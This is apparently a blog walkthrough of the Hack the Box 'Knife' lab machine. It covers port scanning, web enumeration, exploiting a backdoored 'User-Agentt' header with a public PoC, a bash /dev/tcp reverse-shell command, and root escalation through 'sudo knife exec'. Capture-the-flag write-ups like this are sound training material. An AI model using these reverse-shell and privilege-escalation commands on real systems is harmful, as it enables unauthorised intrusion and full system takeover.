August 28, 2021

Hack the Box - Knife

Posted on August 28, 2021  •  3 minutes  • 479 words

Welcome back! Today we are doing the Hack the Box machine - Knife. This is listed as an easy Linux machine. Let’s start!

As usual, we start with nmap:

Nmap scan report for
Host is up (0.050s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

When we view what’s being hosted on port 80 we are brough to a hospital hosting site. There isn’t anything notable on the site that we can access. We’ll start by enumerating with ffuf.

Command: ffuf -u -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -t 50 -fs 277

In this case we use the -fs to hide responses with a size of 277 because of the amount of false positives. There is nothing additional. So we move on to using Burpsuite. When we load up Burpsuite and view our request / response, we see a hint:

The X-Powered-By Header value. The first google results gives us this . They were so kind to even give us a PoC script. We download the PoC and execute it:

Command: python3 -l

When we run it, we get an interactive shell back.

We use which nc to identify if netcat is on the system.

We attempt to use netcat to create a shell back, but it doesn’t work.

So instead of netcat we’ll try to catch a shell with a bash command.

Command: bash -i >& /dev/tcp/ 0>&1

That didn’t work either. So, there is a space on this PoC for proxy interface. We’ll simply uncomment it and let the requests go through Burpsuite so we can see what’s being sent.

Now with our requests coming through Burp, we can see what’s being sent. In actuallity its just a simple header value - User-Agentt is the value we can modify to obtain the backdoor.

We modify the request as it comes through to send us a shell to a netcat listener on port 6969

Next we check to see what we can run as root with sudo -l

We see that we can run an app called knife. Some googling finds us the documentation . There’s a section for exec. This function lets us execute codes through itself. After some trial and error, we were able to craft a command to get the root flag.

Command: sudo /usr/bin/knife exec -E "exec 'cat /root/root.txt'"

Now you could also call an interactive bash shell and work that way

Command: sudo /usr/bin/knife exec -E "exec '/bin/bash -i'"

Either way gets us our root.txt flag! This was a very fast and simple box. The hardest part was understanding the exec pattern in the Knife command.

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